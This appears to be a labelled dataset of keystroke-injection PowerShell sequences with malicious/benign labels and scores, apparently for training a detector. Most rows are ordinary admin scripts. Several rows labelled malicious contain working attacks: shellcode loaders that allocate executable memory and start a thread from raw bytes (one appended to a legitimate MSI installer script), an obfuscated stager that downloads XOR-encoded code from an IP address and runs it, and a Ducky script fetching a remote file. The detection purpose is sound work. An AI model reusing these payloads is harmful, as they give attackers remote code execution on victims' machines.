"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_3ptlyqtc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_50.csv"") -NoTypeInformation enter",0,0,0.999966,3.397735e-05
"win+r enter powershell enter enter enter Describe ""Environment-Variables"" -Tags ""CI"" { enter enter It ""Should have environment variables"" { enter Get-Item ENV: | Should -Not -BeNullOrEmpty enter } enter enter It ""Should have a nonempty PATH"" { enter $ENV:PATH | Should -Not -BeNullOrEmpty enter } enter enter It ""Should contain /bin in the PATH"" { enter if ($IsWindows) enter { enter $ENV:PATH | Should -Match ""C:"" enter } enter else enter { enter $ENV:PATH | Should -Match ""/bin"" enter } enter } enter enter It ""Should have the correct HOME"" { enter if ($IsWindows) enter { enter enter $expected = ""\Users"", ""\Windows"" enter Split-Path $ENV:HOMEPATH -Parent | Should -BeIn $expected enter } enter else enter { enter $expected = /bin/bash -c ""cd ~ && pwd"" enter $ENV:HOME | Should -Be $expected enter } enter } enter enter It ""Should be able to set the environment variables"" { enter $expected = ""this is a test environment variable"" enter { $ENV:TESTENVIRONMENTVARIABLE = $expected } | Should -Not -Throw enter enter $ENV:TESTENVIRONMENTVARIABLE | Should -Not -BeNullOrEmpty enter $ENV:TESTENVIRONMENTVARIABLE | Should -Be $expected enter enter } enter } enter enter",0,0,0.99994266,5.7298294e-05
"win+r powershell enter cls 'step1', 'step2', 'step3' | % {try { rv $_ -ea stop } catch {}} function s enter tep1 { cls $mfrs = @( 'TOSHIBA 1' 'TOSHIBA 2' 'TOSHIBA 3' 'TOSHIBA 4' enter enter",1,1,0.00038817822,0.9996118
"win+r enter powershell enter enter enter function Get-ServiceNowChangeRequest { enter [OutputType([System.Management.Automation.PSCustomObject])] enter [CmdletBinding(DefaultParameterSetName, SupportsPaging)] enter Param( enter enter [Parameter(Mandatory = $false)] enter [string]$OrderBy = 'opened_at', enter [Parameter(Mandatory = $false)] enter [ValidateSet('Desc', 'Asc')] enter [string]$OrderDirection = 'Desc', enter [Parameter(Mandatory = $false)] enter [int]$Limit, enter [Parameter(Mandatory = $false)] enter [Alias('Fields')] enter [string[]]$Properties, enter [Parameter(Mandatory = $false)] enter [hashtable]$MatchExact = @{}, enter [Parameter(Mandatory = $false)] enter [hashtable]$MatchContains = @{}, enter [Parameter(Mandatory = $false)] enter [ValidateSet('true', 'false', 'all')] enter [string]$DisplayValues = 'true', enter enter [Parameter(ParameterSetName = 'SpecifyConnectionFields', Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [Alias('ServiceNowCredential')] enter [PSCredential]$Credential, enter enter [Parameter(ParameterSetName = 'SpecifyConnectionFields', Mandatory = $true)] enter [ValidateScript({Test-ServiceNowURL -Url $_})] enter [Alias('Url')] enter [string]$ServiceNowURL, enter enter [Parameter(ParameterSetName = 'UseConnectionObject', Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [hashtable]$Connection enter ) enter $newServiceNowQuerySplat = @{ enter OrderBy = $OrderBy enter MatchExact = $MatchExact enter OrderDirection = $OrderDirection enter MatchContains = $MatchContains enter } enter $Query = New-ServiceNowQuery @newServiceNowQuerySplat enter $getServiceNowTableSplat = @{ enter Table = 'change_request' enter Query = $Query enter Fields = $Properties enter DisplayValues = $DisplayValues enter } enter if ($null -ne $PSBoundParameters.Connection) { enter $getServiceNowTableSplat.Add('Connection', $Connection) enter } enter elseif ($null -ne $PSBoundParameters.Credential -and $null -ne $PSBoundParameters.ServiceNowURL) { enter $getServiceNowTableSplat.Add('Credential', $Credential) enter $getServiceNowTableSplat.Add('ServiceNowURL', $ServiceNowURL) enter } enter if ($PSBoundParameters.ContainsKey('Limit')) { enter $getServiceNowTableSplat.Add('Limit', $Limit) enter } enter ($PSCmdlet.PagingParameters | Get-Member -MemberType Property).Name | Foreach-Object { enter $getServiceNowTableSplat.Add($_, $PSCmdlet.PagingParameters.$_) enter } enter $Result = Get-ServiceNowTable @getServiceNowTableSplat enter If (-not $Properties) { enter $Result | ForEach-Object{$_.PSObject.TypeNames.Insert(0,""ServiceNow.ChangeRequest"")} enter } enter $Result enter } enter enter",0,0,0.99988544,0.00011453928
win s ctrl n <nom du destinataire> tab enter salut tab tab enter,0,0,0.99132794,0.008672108
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_2zx36y9a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4304914e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install google-drive-file-stream enter A enter enter,0,0,0.99996006,3.9956096e-05
"win+r powershell enter function Register-RsPowerBI { [CmdletBinding(SupportsShouldProcess = $true, enter ConfirmImpact = 'Medium')] param ( [Parameter(Mandatory = $True)] [string] enter $ClientId, [Parameter(Mandatory = $True)] enter enter",1,1,0.0020872848,0.9979127
"win+r enter powershell enter enter enter  enter enter [CmdletBinding()] enter param () enter enter function Get-MSIInformation { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()] enter [System.IO.FileInfo]$MSI, enter [ValidateSet('ProductCode', 'ProductVersion', 'ProductName', 'Manufacturer', 'ProductLanguage', 'FullVersion')] enter [string]$Property enter ) enter $WindowsInstaller = New-Object -ComObject WindowsInstaller.Installer enter $MSIDatabase = $WindowsInstaller.GetType().InvokeMember(""OpenDatabase"", ""InvokeMethod"", $null, $WindowsInstaller, @($MSI.FullName, 0)) enter $Query = ""SELECT Value FROM Property WHERE Property = '$($Property)'"" enter $View = $MSIDatabase.GetType().InvokeMember(""OpenView"", ""InvokeMethod"", $null, $MSIDatabase, ($Query)) enter $View.GetType().InvokeMember(""Execute"", ""InvokeMethod"", $null, $View, $null) enter $Record = $View.GetType().InvokeMember(""Fetch"", ""InvokeMethod"", $null, $View, $null) enter $Value = $Record.GetType().InvokeMember(""StringData"", ""GetProperty"", $null, $Record, 1) enter $MSIDatabase.GetType().InvokeMember(""Commit"", ""InvokeMethod"", $null, $MSIDatabase, $null) enter $View.GetType().InvokeMember(""Close"", ""InvokeMethod"", $null, $View, $null) enter $MSIDatabase = $null enter $View = $null enter return $Value enter } enter enter function Get-RelativePath { enter [CmdletBinding()] enter [OutputType([string])] enter param () enter enter $Path = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent) + ""\"" enter Return $Path enter } enter enter function Install-MSI { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()] enter [string]$MSI, enter [ValidateNotNullOrEmpty()] enter [string]$Switches enter ) enter enter [string]$DisplayName = Get-MSIInformation -MSI $MSI -Property 'ProductName' enter $Executable = $Env:windir + ""\system32\msiexec.exe"" enter $Parameters = ""/i"" + [char]32 + [char]34 + $MSI + [char]34 + [char]32 + $Switches enter Write-Host ""Install""$DisplayName.Trim()""....."" -NoNewline enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter Exit $ErrCode enter } enter } enter enter function Stop-Processes { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()] enter [String]$ProcessName enter ) enter enter $Processes = Get-Process $ProcessName -ErrorAction SilentlyContinue enter If ($Processes -ne $null) { enter Do { enter foreach ($Process in $Processes) { enter If ($Process.Product -ne $null) { enter Write-Host ""Killing""(($Process.Product).ToString()).Trim()""Process ID""(($Process.Id).ToString()).Trim()""....."" -NoNewline enter Stop-Process -Id $Process.Id -Force -ErrorAction SilentlyContinue enter Start-Sleep -Milliseconds 250 enter $Process = Get-Process -Id $Process.Id -ErrorAction SilentlyContinue enter If ($Process -eq $null) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed"" -ForegroundColor Red enter } enter } enter } enter $Process = Get-Process $ProcessName -ErrorAction SilentlyContinue enter } While ($Process -ne $null) enter } enter } enter enter function Uninstall-MSIByName { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()] enter [String]$ApplicationName, enter [ValidateNotNullOrEmpty()] enter [String]$Switches enter ) enter $Executable = $Env:windir + ""\system32\msiexec.exe"" enter Do { enter enter $Uninstall = Get-ChildItem REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue -Force enter $Uninstall += Get-ChildItem REGISTRY::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall -Recurse -ErrorAction SilentlyContinue enter enter $Key = $uninstall | foreach-object { enter Get-ItemProperty REGISTRY::$_ enter } | where-object { enter $_.DisplayName -like ""*$ApplicationName*"" enter } enter If ($Key -ne $null) { enter Write-Host ""Uninstall""$Key[0].DisplayName""....."" -NoNewline enter enter $Parameters = ""/x "" + $Key[0].PSChildName + [char]32 + $Switches enter enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010) -or ($ErrCode -eq 1605)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter } enter } enter } While ($Key -ne $null) enter } enter $RelativePath = Get-RelativePath enter enter Stop-Processes -ProcessName 'DesktopApp' enter Stop-Processes -ProcessName 'winword' enter Stop-Processes -ProcessName 'excel' enter Stop-Processes -ProcessName 'outlook' enter Stop-Processes -ProcessName 'powerpnt' enter enter Uninstall-MSIByName -ApplicationName 'OutlookAddInInstaller' -Switches '/qb- /norestart' enter Uninstall-MSIByName -ApplicationName 'PingDesktopApp' -Switches '/qb- /norestart' enter enter Install-MSI -MSI $RelativePath'DesktopAppInstaller_v2.0.1420.msi' -Switches '/qb- /norestart' enter Install-MSI -MSI $RelativePath'OutlookAddInInstaller_v1.5.17.msi' -Switches '/qb- /norestart' enter enter $8yA = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $8yA -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x44,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$tGc=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($tGc.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$tGc,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1846106e-05,0.99994814
"win+r powershell enter  Set-PSFConfig -Module PSFramework -Name 'Runspace.StopTimeoutSeconds' -Value 3 enter 0 -Initialize -Validation ""integerpositive"" -Handler { [PSFramework.Runspace.Run enter spaceHost]::StopTimeoutSeconds = $args[0] } -Description ""Time in seconds that S enter top-PSFRunspace will wait for a scriptspace to selfterminate before killing it."" enter $WC=New-ObJEct SYsTEM.NET.WEbCLienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Tr enter ident/7.0; rv:11.0) like Gecko';$wC.HEAdeRs.ADD('User-Agent',$u);$WC.ProxY = [SY enter sTEm.NEt.WEbREquEsT]::DEFAuLTWeBPrOxY;$Wc.PRoxy.CrEDENTiAlS = [SySTeM.NEt.CreDEN enter tialCAche]::DEFAuLtNEtworKCredEntiAlS;$K='098f6bcd4621d373cade4e832627b4f6';$i=0 enter ;[ChaR[]]$B=([CHAR[]]($Wc.DOWnlOadStrINg(""http://166.78.124.106:80/index.asp""))) enter |%{$_-bXOr$k[$I++%$k.LengTh]};IEX ($B-jOiN'') enter enter",1,1,5.3376065e-05,0.9999466
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_tmmi0b60"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*print*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 40 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_40.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4750738e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x29,0xfc,0xf9,0xfb,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1877803e-05,0.99994814
"win+r enter powershell enter enter enter function Test-AzureRmKubernetes enter { enter enter $resourceGroupName = Get-RandomResourceGroupName enter $kubeClusterName = Get-RandomClusterName enter $location = Get-ProviderLocation ""Microsoft.ContainerService/managedClusters"" enter enter try enter { enter New-AzResourceGroup -Name $resourceGroupName -Location $location enter enter if (isLive) { enter $cred = $(createTestCredential ""Unicorns"" ""Puppies"") enter New-AzAks -ResourceGroupName $resourceGroupName -Name $kubeClusterName -ClientIdAndSecret $cred enter } else { enter New-AzAks -ResourceGroupName $resourceGroupName -Name $kubeClusterName enter } enter $cluster = Get-AzAks -ResourceGroupName $resourceGroupName -Name $kubeClusterName enter Assert-NotNull $cluster.Fqdn enter Assert-NotNull $cluster.DnsPrefix enter Assert-AreEqual 1 $cluster.AgentPoolProfiles.Length enter Assert-AreEqual ""1.8.1"" $cluster.KubernetesVersion enter Assert-AreEqual 3 $cluster.AgentPoolProfiles[0].Count; enter $cluster = $cluster | Set-AzAks -NodeCount 2 enter Assert-AreEqual 2 $cluster.AgentPoolProfiles[0].Count; enter $cluster | Import-AzAksCredential -Force enter $cluster | Remove-AzAks -Force enter } enter finally enter { enter Remove-AzResourceGroup -Name $resourceGroupName -Force enter } enter } enter enter",0,0,0.9999405,5.9526436e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_mma14q3p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_200.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.393392e-05
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess)] param( [parameter(Mandatory=$true, Hel enter pMessage=""Site server where the SMS Provider is installed"")] [ValidateScript({T enter est-Connection -ComputerName $_ -Count 2})] [string]$SiteServer, [parameter(Ma enter ndatory=$true, HelpMessage=""Value in WQL query statement to look for"")] [string enter ]$Locate, [parameter(Mandatory=$true, HelpMessage=""Value in WQL query statement enter to replace the matched value with"")] [string]$Replace, [parameter(Mandatory=$ enter false, HelpMessage=""When specified a collection membership update cycle will be enter invoked for the current collection being processed if it's about to be amended"") enter ] [switch]$UpdateMembership enter enter",1,1,0.011411533,0.98858845
"win+r powershell enter Import-Module $PSScriptRoot/SystemD/SystemD.psm1 enter Write-host -Foreground Blue ""Get recent SystemD journal messages"" enter Get-SystemDJournal -args ""-xe"" |Out-Host enter Write-host -Foreground Blue ""Get recent SystemD journal messages for services and return Unit, Message"" enter Get-SystemDJournal -args ""-xe"" | Where-Object {$_._SYSTEMD_UNIT -like ""*.service""} | Format-Table _SYSTEMD_UNIT, MESSAGE | Select-Object -first 10 | Out-Host enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0xb5,0x00,0x0d,0x50,0xdb,0xd2,0xd9,0x74,0x24,0xf4,0x5e,0x2b,0xc9,0xb1,0x47,0x83,0xee,0xfc,0x31,0x5e,0x0f,0x03,0x5e,0xba,0xe2,0xf8,0xac,0x2c,0x60,0x02,0x4d,0xac,0x05,0x8a,0xa8,0x9d,0x05,0xe8,0xb9,0x8d,0xb5,0x7a,0xef,0x21,0x3d,0x2e,0x04,0xb2,0x33,0xe7,0x2b,0x73,0xf9,0xd1,0x02,0x84,0x52,0x21,0x04,0x06,0xa9,0x76,0xe6,0x37,0x62,0x8b,0xe7,0x70,0x9f,0x66,0xb5,0x29,0xeb,0xd5,0x2a,0x5e,0xa1,0xe5,0xc1,0x2c,0x27,0x6e,0x35,0xe4,0x46,0x5f,0xe8,0x7f,0x11,0x7f,0x0a,0xac,0x29,0x36,0x14,0xb1,0x14,0x80,0xaf,0x01,0xe2,0x13,0x66,0x58,0x0b,0xbf,0x47,0x55,0xfe,0xc1,0x80,0x51,0xe1,0xb7,0xf8,0xa2,0x9c,0xcf,0x3e,0xd9,0x7a,0x45,0xa5,0x79,0x08,0xfd,0x01,0x78,0xdd,0x98,0xc2,0x76,0xaa,0xef,0x8d,0x9a,0x2d,0x23,0xa6,0xa6,0xa6,0xc2,0x69,0x2f,0xfc,0xe0,0xad,0x74,0xa6,0x89,0xf4,0xd0,0x09,0xb5,0xe7,0xbb,0xf6,0x13,0x63,0x51,0xe2,0x29,0x2e,0x3d,0xc7,0x03,0xd1,0xbd,0x4f,0x13,0xa2,0x8f,0xd0,0x8f,0x2c,0xa3,0x99,0x09,0xaa,0xc4,0xb3,0xee,0x24,0x3b,0x3c,0x0f,0x6c,0xff,0x68,0x5f,0x06,0xd6,0x10,0x34,0xd6,0xd7,0xc4,0xa1,0xd3,0x4f,0x27,0x9d,0xdd,0xd8,0xcf,0xdc,0xdd,0xf7,0x53,0x68,0x3b,0xa7,0x3b,0x3a,0x94,0x07,0xec,0xfa,0x44,0xef,0xe6,0xf4,0xbb,0x0f,0x09,0xdf,0xd3,0xa5,0xe6,0xb6,0x8c,0x51,0x9e,0x92,0x47,0xc0,0x5f,0x09,0x22,0xc2,0xd4,0xbe,0xd2,0x8c,0x1c,0xca,0xc0,0x78,0xed,0x81,0xbb,0x2e,0xf2,0x3f,0xd1,0xce,0x66,0xc4,0x70,0x99,0x1e,0xc6,0xa5,0xed,0x80,0x39,0x80,0x66,0x08,0xac,0x6b,0x10,0x75,0x20,0x6c,0xe0,0x23,0x2a,0x6c,0x88,0x93,0x0e,0x3f,0xad,0xdb,0x9a,0x53,0x7e,0x4e,0x25,0x02,0xd3,0xd9,0x4d,0xa8,0x0a,0x2d,0xd2,0x53,0x79,0xaf,0x2e,0x82,0x47,0xc5,0x5e,0x16;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1992312e-05,0.999948
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Downloads the Txt file and opens it. enter REM Version: 1.0 enter REM Category: DownloadAscii enter DELAY 1000 enter WINDOWS d enter DELAY 1500 enter WINDOWS r enter DELAY 1500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 560 enter LEFTARROW enter DELAY 500 enter ENTER enter DELAY 700 enter STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath ""C:/windows/6565.txt"" -WindowStyle maximiz enter ENTER enter DUCKY_REAL_END enter",1,1,6.15126e-05,0.9999385
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_9kvmww8y"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_50.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4155473e-05
